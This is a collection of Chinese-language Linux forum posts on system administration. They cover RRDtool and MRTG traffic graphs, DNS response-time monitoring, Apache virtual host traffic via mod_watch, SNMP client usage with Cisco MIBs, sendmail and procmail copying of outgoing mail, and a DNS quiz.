#中間略
### where the mrtg.cfg file is
# anywhere in the filespace
#$cfgfile = '/home/mrtg/mrtg.cfg';
# relative to the script
#$cfgfile = 'mrtg.cfg';
# use this so 14all.cgi gets the cfgfile name from the script name
# (14all.cgi -> 14all.cfg)
# 修改這個對應到你的 mrtg.cfg
$cfgfile = '/etc/mrtg/mrtg.cfg';

# 後略


以上都修改完成後,將 14all.cgi 置於 mrtg 的 WorkDir 下,並請注意,14all.cgi 需
1. chmod 為 755
2. 對目錄有寫入權限
3. 且該目錄具有執行 CGI 功能 (Apache 中的 Options ExecCGI).
然後你就可以用 http://IP/WorkDir/14all.cgi 來看 mrtg+rrd 所畫出來的圖了.這是一個呈現的範例:


所以,您看是不是很簡單呢 ? (我是覺得 14all.cgi 很簡單且好用,您覺不覺得我就不知道了),用這種東
西有快速簡便的好處,就像用 CACTI 一樣簡單 (http://www.cacti.net/)

6.4.2 用自己寫的方法
建檔的方式就不在說明,上述的 mrtg 產生的 .rrd file 一個就 ds0 (in), 一個叫 ds1(out),所以我
們可以直接拿來使用,並使用 mrtg 會 collection 的 tool,而不用像前面 tcpdump 的例子自己寫
update 語法 (當然,你喜歡也可以囉)
代碼: [選擇]

[root@log mrtg]# rrdtool info 192.168.0.253_1.rrd
filename = "192.168.0.253_1.rrd"
rrd_version = "0001"
step = 300
last_update = 1117181102
ds[ds0].type = "COUNTER"
ds[ds0].minimal_heartbeat = 600
ds[ds0].min = 0.0000000000e+00
ds[ds0].max = 1.2500000000e+06
ds[ds0].last_ds = "3689202706"
ds[ds0].value = 1.0680042424e+05
ds[ds0].unknown_sec = 0
ds[ds1].type = "COUNTER"
ds[ds1].minimal_heartbeat = 600
ds[ds1].min = 0.0000000000e+00
ds[ds1].max = 1.2500000000e+06
ds[ds1].last_ds = "3880427199"
ds[ds1].value = 2.7916855892e+05
ds[ds1].unknown_sec = 0
#後略

我相信前面的 rrdtool create 介紹您有看懂,這裏一定不會有問題,有問題的話,請在從頭看起.
利用原來的東西畫圖
代碼: [選擇]

#!/bin/sh
INTERFACE=$1
RRDFILE="/www/htdocs/mrtg/192.168.0.253_$INTERFACE.rrd"

date_range="day week month year"
for t in $date_range
do
rrdtool graph /www/htdocs/mrtg/sample1_$t.png \
--title "Switch ($SWITCH) #$INTERFACE 流量"  \
-s `date -d "-1 $t" +%s`        \
DEF:in=$RRDFILE:ds0:AVERAGE     \
DEF:out=$RRDFILE:ds1:AVERAGE    \
COMMENT:"In/Out         MAX        AVG         NOW \n"  \
AREA:in#00ff00:"In ": \
        GPRINT:in:MAX:"%10.0lf"  \
        GPRINT:in:AVERAGE:"%10.0lf"  \
        GPRINT:in:LAST:"%10.0lf\n"  \
LINE2:out#0000ff:"Out": \
        GPRINT:out:MAX:"%10.0lf"  \
        GPRINT:out:AVERAGE:"%10.0lf"  \
        GPRINT:out:LAST:"%10.0lf"  \
-w 600 -h 150
done

畫出來的樣子:

如果只有這樣的功能,其實誰會想用呢?用 14all.cgi 就好了,不過再來我們看看其他的呈現方式囉,

代碼: [選擇]

#!/bin/sh
#一張圖上,圖出兩個 Interface 的流量
RRDFILE1="/www/htdocs/mrtg/192.168.0.253_14.rrd"
RRDFILE2="/www/htdocs/mrtg/192.168.0.253_15.rrd"

date_range="day week month year"
for t in $date_range
do
rrdtool graph /www/htdocs/snmp.enum.org.tw/images/sample2_$t.png \
--title "Switch  #14/#15 INTERFACE 流量"  \
-s `date -d "-1 $t" +%s`        \
DEF:in1=$RRDFILE1:ds0:AVERAGE   \
DEF:in2=$RRDFILE2:ds0:AVERAGE   \
DEF:out1=$RRDFILE1:ds1:AVERAGE  \
DEF:out2=$RRDFILE2:ds1:AVERAGE  \
CDEF:n_out1=out1,-1,*   \
CDEF:n_out2=out2,-1,*   \
COMMENT:"In/Out         MAX        AVG         NOW \n"  \
AREA:in1#ff0000:"In14 ": \
        GPRINT:in1:MAX:"%10.0lf"  \
        GPRINT:in1:AVERAGE:"%10.0lf"  \
        GPRINT:in1:LAST:"%10.0lf\n"  \
STACK:in2#00ff00:"In15 ": \
        GPRINT:in2:MAX:"%10.0lf"  \
        GPRINT:in2:AVERAGE:"%10.0lf"  \
        GPRINT:in2:LAST:"%10.0lf\n"  \
AREA:n_out1#ff0000:"In14 ": \
        GPRINT:out1:MAX:"%10.0lf"  \
        GPRINT:out1:AVERAGE:"%10.0lf"  \
        GPRINT:out1:LAST:"%10.0lf\n"  \
STACK:n_out2#00ff00:"In15 ": \
        GPRINT:out2:MAX:"%10.0lf"  \
        GPRINT:out2:AVERAGE:"%10.0lf"  \
        GPRINT:out2:LAST:"%10.0lf\n"  \
-w 600 -h 150
done


以上用法主要著重在 CDEF,及 STACK 的應用, CDEF 將某些值轉成負數,以描繪出 in 在上(正值),out 在
下(負值),並以 AREA/STACK 將圖疊在一起,例如,如果您有兩個出口線路,就非常適合這種做法
結果:


所以,若你需要,可以堆疊出許多圖,也可以畫得很簡單,就看你的需要了.

6.5 描繪每部 DNS 的回應狀況
敝人專注於 DNS 之研究,所以回到老本行,我們看看如何來呈現此一問題
代碼: [選擇]

# rrdtool 建檔語法,您可以一部 DNS 建一個 rrd file ,
rrdtool create /root/study/dnsquery.rrd -s 60   \
DS:a:GAUGE:600:-100:10000 \
DS:b:GAUGE:600:-100:10000 \
DS:c:GAUGE:600:-100:10000 \
DS:d:GAUGE:600:-100:10000 \
DS:ns:GAUGE:600:-100:10000 \
DS:f:GAUGE:600:-100:10000 \
DS:g:GAUGE:600:-100:10000 \
RRA:AVERAGE:0.5:1:14400 \
RRA:AVERAGE:0.5:6:4800          \
RRA:AVERAGE:0.5:24:1200         \
RRA:AVERAGE:0.5:288:600         \
RRA:MAX:0.5:1:14400     \
RRA:MAX:0.5:6:4800              \
RRA:MAX:0.5:24:1200             \
RRA:MAX:0.5:288:600


取值及畫圖
代碼: [選擇]


#!/bin/sh
RRD_PATH="/root/study/dnsquery.rrd"
IMAGE_PATH="/www/htdocs/mrtg"

#DNS List
host="a.dns.tw b.dns.tw 61.220.48.1 d.dns.tw ns.twnic.net e.dns.tw f.dns.tw"
rrd_data=""
for dns in $host
do
#取得 dig 最後面的所顯示的查詢時間
        msec=`/bin/dig @$dns . ns | grep 'Query time' | sed -e 's/.*: \(.*\) [a-z].*/\1/'`
        if [ -z $msec ];then
                msec=-100
                echo "$dns 沒有回應,請您注意"| mail MyEmail -s "$dns 無回應"
        fi
        rrd_data="$rrd_data:$msec"
done
now=`date +%s`
echo $rrd_data
rrdtool update $RRD_PATH ${now}${rrd_data}



time="day week "
for t in $time
do
rrdtool graph $IMAGE_PATH/dnsquery-$t.jpg \
-t "DNS Query Response Time (${t}ly)" \
-w 600 -h 250 -s `date -d "-1 $t" +%s`  -v "msec"  -X b         \
        DEF:a=dnsquery.rrd:a:MAX        \
        DEF:b=dnsquery.rrd:b:MAX        \
        DEF:c=dnsquery.rrd:c:MAX        \
        DEF:d=dnsquery.rrd:d:MAX        \
        DEF:ns=dnsquery.rrd:ns:MAX      \
        DEF:f=dnsquery.rrd:f:MAX        \
        DEF:g=dnsquery.rrd:g:MAX        \
        CDEF:z0=-1,a,b,c,d,ns,f,g,+,+,+,+,+,+,7,/,*     \
        CDEF:a1=a,3000,+        \
        CDEF:a11=3000,a,a,-,+   \
        CDEF:b1=b,2500,+        \
        CDEF:b11=2500,a,a,-,+   \
        CDEF:c1=c,2000,+        \
        CDEF:c11=2000,a,a,-,+   \
        CDEF:d1=d,1500,+        \
        CDEF:d11=1500,a,a,-,+   \
        CDEF:ns1=ns,1000,+      \
        CDEF:ns11=1000,a,a,-,+  \
        CDEF:f1=f,500,+         \
        CDEF:f11=500,a,a,-,+    \
        CDEF:g1=g,              \
        AREA:z0#c0c0c0:"Average Response Time(msec)"    \
        COMMENT:"\n"    \
        AREA:a1#ff0000:"a.dns.tw"       \
        GPRINT:a:MAX:"%12.0lf"          \
        GPRINT:a:AVERAGE:"%12.0lf"      \
        GPRINT:a:MIN:"%12.0lf"          \
        GPRINT:a:LAST:"%12.0lf\n"       \
        AREA:a11#ffffff                 \
        AREA:b1#800000:"b.dns.tw"       \
        GPRINT:b:MAX:"%12.0lf"          \
        GPRINT:b:AVERAGE:"%12.0lf"      \
        GPRINT:b:MIN:"%12.0lf"          \
        GPRINT:b:LAST:"%12.0lf\n"       \
        AREA:b11#ffffff                 \
        AREA:c1#00ff00:"c.dns.tw"       \
        GPRINT:c:MAX:"%12.0lf"          \
        GPRINT:c:AVERAGE:"%12.0lf"      \
        GPRINT:c:MIN:"%12.0lf"          \
        GPRINT:c:LAST:"%12.0lf\n"       \
        AREA:c11#ffffff                 \
        AREA:d1#008000:"d.dns.tw"       \
        GPRINT:d:MAX:"%12.0lf"          \
        GPRINT:d:AVERAGE:"%12.0lf"      \
        GPRINT:d:MIN:"%12.0lf"          \
        GPRINT:d:LAST:"%12.0lf\n"       \
        AREA:d11#ffffff                 \
        AREA:ns1#0000ff:"ns.twnic.net"  \
        GPRINT:ns:MAX:"%8.0lf"          \
        GPRINT:ns:AVERAGE:"%12.0lf"     \
        GPRINT:ns:MIN:"%12.0lf"         \
        GPRINT:ns:LAST:"%12.0lf\n"      \
        AREA:ns11#ffffff                \
        AREA:f1#000080:"f.dns.tw"       \
        GPRINT:f:MAX:"%12.0lf"          \
        GPRINT:f:AVERAGE:"%12.0lf"      \
        GPRINT:f:MIN:"%12.0lf"          \
        GPRINT:f:LAST:"%12.0lf\n"       \
        AREA:f11#ffffff                 \
        AREA:g1#ff8040:"g.dns.tw"       \
        GPRINT:g1:MAX:"%12.0lf"         \
        GPRINT:g1:AVERAGE:"%12.0lf"     \
        GPRINT:g1:MIN:"%12.0lf"         \
        GPRINT:g1:LAST:"%12.0lf\n"      \
        COMMENT:"note:<0 means no response\n"
done

這個做法很特別,你也可以轉化成像 ping 等的用法,CDEF 那一段主要在產生每個 HOST 有 500 的差距,
描繪原則即是,畫 a (這個值最大),以白色畫 3000 以下,意即去掉 AREA 3000 以下的部份,在 2500 上
畫 b, 再 2500 以下畫白色 (清除)....其他同理, 所以最後呈現每部主機的 DNS 查詢反應時間的結果,
程式稍複雜,但圖的觀感簡單清楚.



其他 DNS 部份,一般人關心是查詢或回應的狀況,若有心者可看一下這篇上的說明
http://bbs.chinaunix.net/forum/viewtopic.php?t=423629
此篇對許多 ISP 或 Domain Name 代管業者應有不少助益.

6.6 Apache Virtual Host 流量偵測
本例不用 mod_accounting ,因為其僅支援 1.3.x, 不過若您有心可以自己看看如何做,本例由 Demonbane
推薦的 mod_watch(http://www.snert.com/Software/mod_watch/index.shtml)來實現,安裝方法參考上述
網址(裝不起來不要問我哦).
代碼: [選擇]

#httpd.conf 部份內容
LoadModule watch_module       modules/mod_watch.so
<IfModule mod_watch.c>
  <Location /watch-info>
  SetHandler watch-info
  </Location>
  <Location /watch-table>
  SetHandler watch-table
  </Location>
</IfModule>
VirtualDocumentRoot /www/htdocs/%0
VirtualScriptAlias  /www/htdocs/%0/cgi-bin/

我們可以試以下列指令求得某一個 VH 的流量
代碼: [選擇]

[root@log study]# /usr/local/sbin/mod_watch.pl -f ifInOctets,ifOutOctets http://my_someone_virtual_host/watch-info
4538020
235836805
4.37
my_someone_virtual_host

這個東西到這邊巳經很明顯的是 mrtg 的輸出格式,所以你若了解的話基本上 mrtg 的作法就很簡單了

代碼: [選擇]

# 建檔 ,請多注意 $1 用意
#!/bin/sh
vh=$1
rrdtool create /root/study/mod_watch_$vh.rrd -s 300     \
DS:in:COUNTER:600:0:100000000 \
DS:out:COUNTER:600:0:100000000 \
DS:req:COUNTER:600:0:100000000 \
DS:doc:COUNTER:600:0:100000000 \
DS:gabege:COUNTER:600:0:1 \
RRA:AVERAGE:0.5:1:14400 \
RRA:AVERAGE:0.5:6:4800          \
RRA:AVERAGE:0.5:24:1200         \
RRA:AVERAGE:0.5:288:600         \
RRA:MAX:0.5:1:14400     \
RRA:MAX:0.5:6:4800              \
RRA:MAX:0.5:24:1200             \
RRA:MAX:0.5:288:600


代碼: [選擇]

#更新資料及畫圖
#!/bin/sh
vh=$1
RRDFILE=/root/study/mod_watch_$vh.rrd
IMAGE_PATH=/www/htdocs/211.72.210.251/images
now=`date +%s`
IN_OUT=`/usr/local/sbin/mod_watch.pl -f ifInOctets,ifOutOctets http://$1/watch-info| head -2 | tr '\n' ':'`
REQ_DOC=`/usr/local/sbin/mod_watch.pl -f ifRequests,ifDocuments http://$1/watch-info|head -2 | tr '\n' ':'`
rrdtool update $RRDFILE $now:${IN_OUT}${REQ_DOC}0

for t in day week month year
do
rrdtool graph $IMAGE_PATH/mod_watch_${vh}_${t}.png -t "mod_watch 範例" \
-s `date -d "-1 $t" +%s`        \
DEF:in=$RRDFILE:in:AVERAGE      \
DEF:out=$RRDFILE:out:AVERAGE    \
DEF:req=$RRDFILE:req:AVERAGE    \
DEF:doc=$RRDFILE:doc:AVERAGE    \
AREA:in#00ff00:"流入      "     \
        GPRINT:in:MAX:"%12.0lf"          \
        GPRINT:in:AVERAGE:"%12.0lf"      \
        GPRINT:in:MIN:"%12.0lf"          \
        GPRINT:in:LAST:"%12.0lf\n"       \
LINE1:out#0000ff:"流出    "     \
        GPRINT:out:MAX:"%12.0lf"          \
        GPRINT:out:AVERAGE:"%12.0lf"      \
        GPRINT:out:MIN:"%12.0lf"          \
        GPRINT:out:LAST:"%12.0lf\n"       \
LINE1:req#ff0000:"Request "     \
        GPRINT:req:MAX:"%12.0lf"          \
        GPRINT:req:AVERAGE:"%12.0lf"      \
        GPRINT:req:MIN:"%12.0lf"          \
        GPRINT:req:LAST:"%12.0lf\n"       \
LINE1:doc#800000:"Document"     \
        GPRINT:doc:MAX:"%12.0lf"          \
        GPRINT:doc:AVERAGE:"%12.0lf"      \
        GPRINT:doc:MIN:"%12.0lf"          \
        GPRINT:doc:LAST:"%12.0lf\n"       \
-w 400 -h 100
done

結果


發現沒 ? 什麼問題呢 ? 仔細想想為什麼 Request/Document 值為 0 呢 !? 該如何解決.....



7. 結語
該說的前面都說了,想不想學 rrdtool 完全看你對系統的掌握度...本來是只介紹 rrdtool 的,不過想說
寫多點,就 mrtg/14all.cgi 寫多點了. mrtg/rrd/14all.cgi 摸熟, 對你會很有幫助...官網是一定要去
的地方,不要只看什麼教學文件..那很難學得透徹.

24
http://www.enum.org.tw/twjp/twjp.htm
對 VoIP 有興趣的可以去下載回來看看
台灣將來也有這方面的發展需求 ~
並在電總的編碼計畫中巳保留 Number ...
TCA 也針對這一部份將對業者作一系列的介紹
(H323/SIP/Enum/QOS.....)
有興趣的可多留意 TCA 的網站

25
SNMP Server 的設定請參考 netman 兄的文件,我巳不能增減其一字  :D
http://www.study-area.org/tips/tipsfr1.htm

SNMP Client 則是本篇的重點, 簡單的介紹一下 snmp client 的使用
一般我們大多是使用 snmpget 及 snmpwalk, 但個人較習慣用 snmpwalk + MIBS
的使用方法,這些東西我都是剛學沒多久 (從 Google Search 來的),不過我想
在一般的使用上對我應沒有什麼問題了才是 (下一步學 trap)

snmpget 要指定整個 OID,
snmpwalk 則是指出一個節段,他會幫你走完以下全部的點及值
不過以 OID 的數字機制,簡直比 IP 還難背,而 IP 有 DNS 支援解析
相同的 OID 也有 MIBS (Management Information Base) 以名稱來表示
只要援用相關設備的 MIBS ,就可以很方便的找到你要的 SNMP 資訊

CISCO 的 MIBS 網頁
http://www.cisco.com/public/sw-center/netmgmt/cmtk/mibs.shtml
CISCO MIBS FTP site  ftp://ftp.cisco.com/pub/mibs/
(其他廠商我不知道....)

這裏有一個很多 System 或 Vendor 的 MIBS 的網頁,大家亦可參考看看(很多有用的東西哦)
http://smurfland.cit.buffalo.edu/ftp/pub/mibs/


1. 設定檔
   Server 端一般的 snmpd.conf 我就不介, 由於敝單位大多使用 CISCO 設備,
   所以得先在 Router 或 Switch 開 snmp-server
   (開法都很簡單 snmp-server ....,所以我就不多言了,但一定要設 Access Control,
    也要注意你的 IOS 版本是否有 SNMP 漏洞的問題)
   一般 Vendor 設備開 snmp 起來時,其也會 load MIBS 進入系統,所以也可使用相關的指
   令查到其 MIBS 或 OID

   那 Client 端要怎麼設才能抓到設備或遠端的 SNMP 資料呢 ?
   本處我僅介紹使用 MIBS 的方法, 不用 MIBS 實在太不人道了

   下列例子我皆以 CISCO 2950 為例
方法一:
   環境變數(目錄,及那一個 MIBS file,不要加最後的 .my ):  
        $> export MIBDIRS=/usr/share/snmp/mibs
        $> export MIBS=CISCO-C2900-MIB
   MIBS 除了裝 SNMP 套件時會少量附一些外,其他你需要的可能都是要到 Vendor 處下載,
   若要使用全的的 MIBS 的話可以將 CISCO-C2900-MIB 換成 ALL, 如果你的 MIBS file 不多
   的話倒還無所課,但很多的話不建議你如此做,要使用多個 MIBS ,則可以
        $> export MIBS=CISCO-C2900-MIB:UDP-MIB:TCP-MIB
   來使用,

   設定檔 /etc/snmp/snmp.conf (系統 snmp 定義,沒有 d 哦) ~/.snmp/snmp.conf (User)
   內容很多,可參考 man page, 而我個人大概僅使用下列項目
   #/etc/snmp/snmp.conf
   mibdirs /usr/share/snmp/mibs/
   mibs CISCO-C2900-MIB:TCP-MIB:UDP-MIB
   defVersion 2c
   defCommunity Public
   #(def 這兩行不寫在 snmpwalk/snmpget 上要打 snmp???? -v 2c IP Public OID
   
   上兩行同上變數意義,第三行為 snmp version, 需與 sever 端配合,不過現在大概多是 2c 版
   最後一個 Community 大家習慣設 Public, 如果可以的話建議你換成一個只有你知道的名稱
   (指 SNMP Server 的 Community , snmp.conf 這裏要配合 Server 端)



2. 指令
   我只介紹有 MIBS 的狀況,不然這個數字 1.1.0 可是很長的,CISCO 設備描述):
   snmpget 一次只能抓一個哦~目標明確時使用

       $>snmpget My_2900_IP 1.1.0
       system.sysDescr.0 = Cisco Internetwork Operating System Software ...後略
       $>snmpget My_2900_IP sysDescr.0
       system.sysDescr.0 = Cisco Internetwork Operating System Software ...後略



   snmpwalk 取得該位置以下所有的節點,用 MIBS 是不是很清楚呢 ? 不需要考慮其 OID 為何
   只要 MIBS 用對了即可    
       $>snmpwalk My_2900_IP tcp
   tcp.tcpRtoAlgorithm.0 = vanj(4)
   tcp.tcpRtoMin.0 = 300
   tcp.tcpRtoMax.0 = 60000
   tcp.tcpMaxConn.0 = -1
   tcp.tcpActiveOpens.0 = Counter32: 1
   tcp.tcpPassiveOpens.0 = Counter32: 29
   tcp.tcpAttemptFails.0 = Counter32: 0
   tcp.tcpEstabResets.0 = Counter32: 1
   tcp.tcpCurrEstab.0 = Gauge32: 0
   tcp.tcpInSegs.0 = Counter32: 10183
   tcp.tcpOutSegs.0 = Counter32: 6850
   tcp.tcpRetransSegs.0 = Counter32: 55
   tcp.tcpInErrs.0 = Counter32: 0
   tcp.tcpOutRsts.0 = Counter32: 9    

   $>snmpwalk My_2900_IP IfInOctets
   interfaces.ifTable.ifEntry.ifInOctets.1 = Counter32: 266156610
   interfaces.ifTable.ifEntry.ifInOctets.2 = Counter32: 4021982
   interfaces.ifTable.ifEntry.ifInOctets.3 = Counter32: 3675832515
   interfaces.ifTable.ifEntry.ifInOctets.4 = Counter32: 242336
   interfaces.ifTable.ifEntry.ifInOctets.5 = Counter32: 2555185044
   interfaces.ifTable.ifEntry.ifInOctets.6 = Counter32: 1611529637
   interfaces.ifTable.ifEntry.ifInOctets.7 = Counter32: 2376795729
   ...後略....
  Counter32 是 32bit 的累計值
  Gauge32 是 32bit 的差異值
  如果 .1 的Counter值依四次 timestamp 分原是 1 5 6 9
  則其 Gauge 值則為 1 4 1 3
  這個值的 TYPE 對畫 mrtg 是有些影響的
  如果想對 MIBS 熟一點可以找一個叫 MIBBroswer 的軟體 (我沒用過),相信對 SNMP
  的管控可以更清楚明瞭,MIBS file 內基本上即會有每個定義的解釋,多看幾遍就知
  道他的語法了
    
  要取一個值或取多個值完全看個人需要,再根據值來畫圖即可

  用這套方法,加上 RRD (或 mrtg+rrd )即可畫出每個 Switch port 的流量(下例是有接線我的才畫,沒接的就不畫,有沒有接可用 snmp 抓到,本例我將 IP 拿掉了)

26
這或許稱不上百年問題吧~~ :roll: 我的感覺並沒有中文處理等來得難

這篇文章我只介紹寄出備份,至於寄出過濾請依自己的功力發揮了
寄出備份的做法很多,至少我就看過四種 ,但是有三種都會有 delay time ,
用 procmail 也會有一點點微不足道的 delay time, 因為一封信要經過兩次的 sendmail process

開始前請先做好現行 sendmail 環境的備份工作,以免出包~~
其中最重要的 .mc 及 .cf 別漏了,
此處我們還會再用到, 以本例而言,請將 sendmail.cf 改為 sendmail.cf.1
以供 procmail 使用

1. sendmail.mc
編輯 sendmail.mc 檔,在
MAILER(smtp)dnl
這一行後加上後面內容:
代碼: [選擇]

MAILER(`procmail')

LOCAL_CONFIG
CP PROCMAIL

LOCAL_RULE_0
R$*                             $: <> $1                        mark all
R<> < @ $* > $*                 $: < @ $1 > $2                  skip route-addr
R<> $* < @ $* . PROCMAIL . >    $: $>3 $1 @ $2                  already filtered
R<> $* < @ PROCMAIL . >         $: $1                           already filtered
R<> $* < @ $* . >               $: <> $1 < @ $2 >               remove dot
R<> $* < @ $* >                 $: $1 < @ $2 . PROCMAIL . >     send to procmail
R<> $*                          $: $1 < @ PROCMAIL . >          send to procmail

以上請注意 <TAB> 鍵, $: 前的空白是 TAB 鍵哦,而後的像
mark all,skip route-addr..得也都是 TAB 鍵區隔,
再用 m4 做出 sendmail.cf 檔,而您的 sendmail.mc 要支援 mailertable,
也就是下面的內容
代碼: [選擇]
FEATURE(`mailertable',`hash -o /etc/mail/mailertable.db')dnl

2. 編輯 mailertable 檔
引用
PROCMAIL        procmail:/etc/procmailrc_out_filter
.PROCMAIL       procmail:/etc/procmailrc_out_filter                            

記得 makemap 即可...mailertable 是做什麼的也不要問我哦~~夜深了

3. 設定 /etc/procmailrc_out_filter
代碼: [選擇]
PATH=$PATH
SHELL=/bin/sh
LOGFILE=/etc/mail/procmail_out.log
VERBOSE=ON

:0 H
| sendmail -C /etc/mail/sendmail.cf.1 -oi -t copy_mail)


其中 copy_mail 使用一個收件者,其他的處理就和 進信的一樣,唯一要注意的是
所 call 的這個 sendmail -C 舊的cf ...

什麼? 就這樣....沒有錯,至少我用都沒有問題.大家會不會有問題我就不知了,
主要跟你的 sendmail.mc 有很大的關係吧 (mailertable 那一項莫忘)
要做寄出過濾條件就寫在後面,但請記得,用 pipe (|) 轉給正常的 sendmail -C 舊cf...
不然會一直 queue 住,因為沒有 mailer

27
最近最重要的我覺得是
Cisco IOS 的 問題 (我收到CERT Mail 後當天就更新IOS,過一天就看到 Exploit Code 了, 二十行的 C 程式(Raw Socket ) 而以,就可以讓 Cisco 掛點)

Windows RPC (Port 135 ) 可能會形成 Worm....
也是沒幾天就看到 Exploit 程式

28
Linux 討論版 / Mail 系統究極想像 ...
« 於: 2003-08-08 18:09 »
一個 Mail (Server) 系統應該有什麼樣的功能呢 ?
我能想得到的有 :

1. 收發信 (這是一定的啦,smtp,pop3,imap,webmail)
2. quota (in/out) , out 大家可能不知道怎麼做,要我就用 procmail ...
3. Address book (LDAP)
4. 黑名單系統 (dnsbl,access)
5. Virus Scan (系統做) / Spam filter (User 自訂, 應是讓 User 覺得簡單的 Web Interface)介面,並具 notity 及 report 功能,讓 User 知道 Filter 做替你了什麼, 並有取回原信機制
6. Backup (in/out) , 這是 FAQ 了
7. 備援 ( MX 決定論 )
8. 給主管的統計報表
    如: R&D 部門主管每天可以收到 RD 員工的 In/Out (List/Count/Size..)
        而老板則是收到全公司的,依分層原則
          並有,日報/週報/月報 等分別
9. 從統計報表中(Mail 中的Mine HTML) 可以用點選的取得某一個員工實際的收發信內容 ,或全部內容
10. 不同 Platform 的 User account (如一大堆系統中,僅使用一套共同認證方法)或其他資源的整合(如會議系統,行程表)
11. Mail Server 異常警示 (如 Loading, Incoming/Outgoing 流量太大, 退信/Queue 信太多 , Disk Space ...),可以用 MSN/Windows Message/Mail/SMS 等方式
12. 其他...一時想不到

有人有還有什麼特別的想法嗎 ?
不管實不實際都沒有什麼關係....
我只是再想還有什麼功能可以再加的 ...

29
DNS 問題再來囉 ~~不過我覺得這一次比較簡單 ~~
大家可以來挑戰看看哦~~

1. DNS 分正解與反解查詢, 請問網路上的 DNS Query 是正解還是反解查詢多 ? 為什麼 ?
2. 何謂負面答案(nagitive answer) ? 對 DNS 的運作有什麼作用 ? 下列狀況:
   xxx.com.tw 在TWNIC的指定內容:
   ns1.xxx.com.tw    1.2.3.4
   ns2.xxx.com.tw    1.2.3.5
   ns3.xxx.com.tw    1.2.3.6
   xxx.com.tw 自身的 DNS Zone File 內容:
      $ORIGIN xxx.com.tw.
           IN SOA ns1 abelyang.mail ( 2001 86400 3600 864000 10800)
           IN NS  ns1
      IN NS  ns2
           IN NS  ns3
      ns1  IN A      1.2.3.4
      ns2  IN A      1.2.3.7
      ns3  IN CNAME   dns.hinet.net.
      www  IN A      1.2.3.6
 
   請問:以 BIND 9 (現在大多數人用)來的預設值來查:
   1. NS RR 的 lame server 會 Cache 多久 ?
   2. 查不到 ftp.xxx.com.tw. 會 Cache 多久 ?   
   3. 假設這個網域名稱不存在, 會 Cache 多久 ?
   4. CNAME and other datas 會 Cache 多久 ?
   5. CNAME Chain (A Cname B, B Cname C,C cname D..) 的狀況 Cache 多久 ?或以什麼為參考 ?
   6. 若 .com.tw. DNS 掛了會 Cache 多久 ?

3. DNS 時的 Port 變化 (BIND 8 與 Bind 9 是不同的哦) ?
   Query: DNS <-> DNS (Recursive) 時用什麼 Port/Protocol ?
   Zone Transfer: DNS <-> DNS 用什麼 Port/Protocol ?

4. 若單位有十個網域名稱 (Ex: x1.com.tw,x2.com.tw.....x10.xom.tw),
   其意欲每個網域名稱內的相同之 Host 皆指向同一IP
    EX: www.x1.com.tw. 1.2.3.4
        www.x2.com.tw. 1.2.3.4
        ....
        www.x10.com.tw. 1.2.3.4
   而當 x10.com.tw. 欲加一部 netman.x10.com.tw. 時,其他九個網域名稱皆可同時加上,
   請問該如何設定 ? (十個網域名稱可能在同一部,也有可能是不同部主機哦)

5. 有一單位 (xxx.com.tw. )遭受來自網路上的 DNS Query 的 DDOS 攻,造成其 T1 的頻寬完全塞滿,
   其每秒查詢萬次以上,幾乎全世界的 DNS Server 皆向其詢問, xxx.com.tw. AAAA 的內容,
   但該網域名稱並無 AAAA 之 Record, 請問如何解決 ?

6. 某人在 TWNIC 指定其 xxx.com.tw. 之 DNS Server 如下面內容:
   mail.xxx.com.tw.   1.2.3.4
   xxx.com.tw.        1.2.3.4
   而其本身並沒有在這兩個 IP 上架設 DNS Server (有 MailServer), 請問別人以
    user@xxx.com.tw 寄信給他們時, 收得到嗎 ? 為什麼 ?

7. 以下為  2.6.8.8.8.e164.arpa. 網域名稱的內容:
   $ORIGIN 3.1.3.1.1.4.3.2.2.6.8.8.e164.arpa.
      IN   NAPTR   10 10 "u" "SIP+E2U" "!^.*$!sip:abelyang@xxx.com.tw!" .
      IN   NAPTR   20 10 "u" "SMTP+E2U" "!^.*$!mailto:abelyang@xxx.com.tw!" .
      IN   NAPTR   30 10 "u" "TEL+E2U" "!^.*$!tel:+886223413300!" .
   $ORIGIN 0.0.3.3.1.4.3.2.2.6.8.8.e164.arpa.
        IN      NAPTR   10 10 "u" "LDAP+E2U" "!^.*$!ldap://ldap.xxx.com.tw?cn=3300!" .
   IN   NAPTR   20 10 "u" "TEL+E2U"  "!^.*$!tel: +886223411313!" .
   請問其上之意義 ? 及其解析流程為何 ?

8. 何謂 DNS 的 Referral ? Bad Referral ? Bard Referral 是否會回應答案 ?

9. 據聞, .com 的 網域名稱高達 3000 萬筆,而其 .com 的 Roor Server 又多達 13 部,
   若您是 .com 的 DNS 網管理人員, 您會如何如做來讓 13 的 .com DNS Server 的同步化?

10. 實例中, yahoo.com. 的 MX 查詢結果,請問下列結果如何以 DNS 及 Mail Server 來實現 ?

 dig mx yahoo.com

; <<>> DiG 9.2.0 <<>> mx yahoo.com
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2338
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 5, ADDITIONAL: 11

;; QUESTION SECTION:
;yahoo.com.                     IN      MX

;; ANSWER SECTION:
yahoo.com.              3715    IN      MX      5 mx4.mail.yahoo.com.
yahoo.com.              3715    IN      MX      1 mx1.mail.yahoo.com.
yahoo.com.              3715    IN      MX      1 mx2.mail.yahoo.com.

;; AUTHORITY SECTION:
yahoo.com.              172637  IN      NS      ns2.yahoo.com.
yahoo.com.              172637  IN      NS      ns3.yahoo.com.
yahoo.com.              172637  IN      NS      ns4.yahoo.com.
yahoo.com.              172637  IN      NS      ns5.yahoo.com.
yahoo.com.              172637  IN      NS      ns1.yahoo.com.

;; ADDITIONAL SECTION:
mx1.mail.yahoo.com.     1223    IN      A       64.156.215.5
mx1.mail.yahoo.com.     1223    IN      A       64.156.215.6
mx1.mail.yahoo.com.     1223    IN      A       64.157.4.78
mx2.mail.yahoo.com.     1626    IN      A       64.157.4.78
mx2.mail.yahoo.com.     1626    IN      A       64.157.4.82
mx2.mail.yahoo.com.     1626    IN      A       64.156.215.5
mx4.mail.yahoo.com.     1627    IN      A       216.136.129.17
mx4.mail.yahoo.com.     1627    IN      A       66.218.86.253
mx4.mail.yahoo.com.     1627    IN      A       66.218.86.254
mx4.mail.yahoo.com.     1627    IN      A       216.136.129.5
ns1.yahoo.com.          151719  IN      A       66.218.71.63

30
酷!學園 精華區 / [最佳]DNS 十題考大家
« 於: 2003-07-10 02:00 »
1. 上層 DNS 中 .tw 及 .com.tw 的 DNS 查詢量那一個較多 ? 為什麼 ?

